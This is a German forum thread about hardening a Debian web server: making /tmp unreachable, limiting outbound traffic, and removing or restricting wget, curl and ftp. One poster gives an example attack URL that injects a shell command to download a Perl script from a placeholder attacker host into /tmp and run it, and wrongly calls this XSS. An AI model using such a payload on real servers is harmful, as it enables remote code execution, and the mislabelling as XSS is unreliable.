@Darkman und CC
Dumm wie ich bin überlese ich das natürlich. Thx für den Tip, werd mich nochmal hinsetzen und das ganze etwas überarbeiten und die Manpage nochmal durchlesen ob ich noch was übersehen hab, hatte eigentlich einige einstellungen zum connection tracking schon mit drin, aber da drauf bin ich jetzt nicht gekommen :oops:
Darkman wrote:
Und, was machst Du mit /var/tmp (ist nicht immer ein Link auf /tmp)
oder mit anderen Verzeichnissen die World-Writeable sind/sein muessenn
(z.B. dedizierte TMP Dirs fuer VHosts damit irgendwelcher PHP Rotz
gescheit tut)? ;-)
/var/tmp ist für den Apache nicht erreichbar und die Session und tmp Verzeichnisse für PHP wird kaum einer finden, ausser er weiß das es .phptmp-<userid> heißt :) Allerdings versuchen die meisten "Cracker" ja sowisso /tmp, von daher kann man schonmal die Kidds sofort aussperren.
@andreask2
Nei mir hat das binden einfach geklappt als User. Das killen der Prozesse wird allerdings nur durch eine dementsprechendes Exploit klappen, lief doch nicht ganz so wie ich zuerst dachte. Hab das bisher nur einmal bei einen Freund aufn Server gesehen, aber das nachmachen will bei mir nicht wirklich jetzt klappen. Werd das aber trotzdem nochmal versuchen, nur atm hab ich keine Kiste wo ich einfach nen Exploit mit drauf starten kann. Denk das man da gleich eine Rootshell mit startet und gar nicht lange mit www-data rumhampelt.
Mit Port 80 ausgehend sperren: Klar kann ich alles ausser meine Debian Mirrors sperren, aber wenn ich jetzt mal eine Software direkt ziehen möchte per wget, dann muss ich immer zuerst die Firewallregeln abändern usw. Ich sag eher das es keiner schafft mit PHP XSS etwas zu ziehen, wget ist sowisso nur noch für root ausführbar, curl und lynx sind nicht mehr auf dem Server. ftp gibt es nicht mehr, nur noch ftp-ssl mit 744 und da wird jetzt kaum noch eine möglichkeit sein etwas zu machen.
="Roger Wilco"]
Du verwechselst da etwas. XSS (Cross-Site Scripting) ist rein clientseitig. Um ein Skript auf dem Server zu starten (das nicht in einem per HTTP erreichbaren Verzeichnis liegt), brauchst du zunächst mal Zugang zum Server. Wir unterstellen mal, dass deine Dienste nicht verwundbar sind. Dann kann das Schadprogramm nur noch von einem lokalen Benutzer mit Login-Shell ausgeführt werden. Und wenn du deinen Benutzern nicht trauen kannst, hast du ein ganz anderes Problem. Rolling Eyes
Mittels XSS landen aber die Angriffsscripte auf dem Zielrechner und werden aufgerufen. Beispiel:
Code: Select all
http://hans-wurst.de/index.php?var=wget%20http://boeserhacker.de/angriff.pl%20-o%20/tmp/angriff.pl&&perl%20/tmp/angriff.pl
zieht mir von extern eine Perlfile runter und startet sie. Recht simpel, aber wenn du in deine Apache Logs kuckst findest du lauter solche aufrufe, jedenfalls bei mir. Wenn deine Software jetzt dafür angreifbar ist, hast du nen kleines Problem. Wenn die Software nicht angreifbar ist, dann bleibt ja wie du schon gesagt hast nur noch ein Benutzer mit nen FTP Login in Frage, daher auch Never trust your Users. Hätte letztens erst ein Problem gehabt weil jemand gedacht hat PHPBB2 braucht man nicht updaten, jetzt hat er ne leere Datenbank aber es ist sonst nix passiert dank Safemode etc. Aber ehrlichgesagt kann mir das egal sein, bin ja nicht der Babysitter und mach deren Software Update.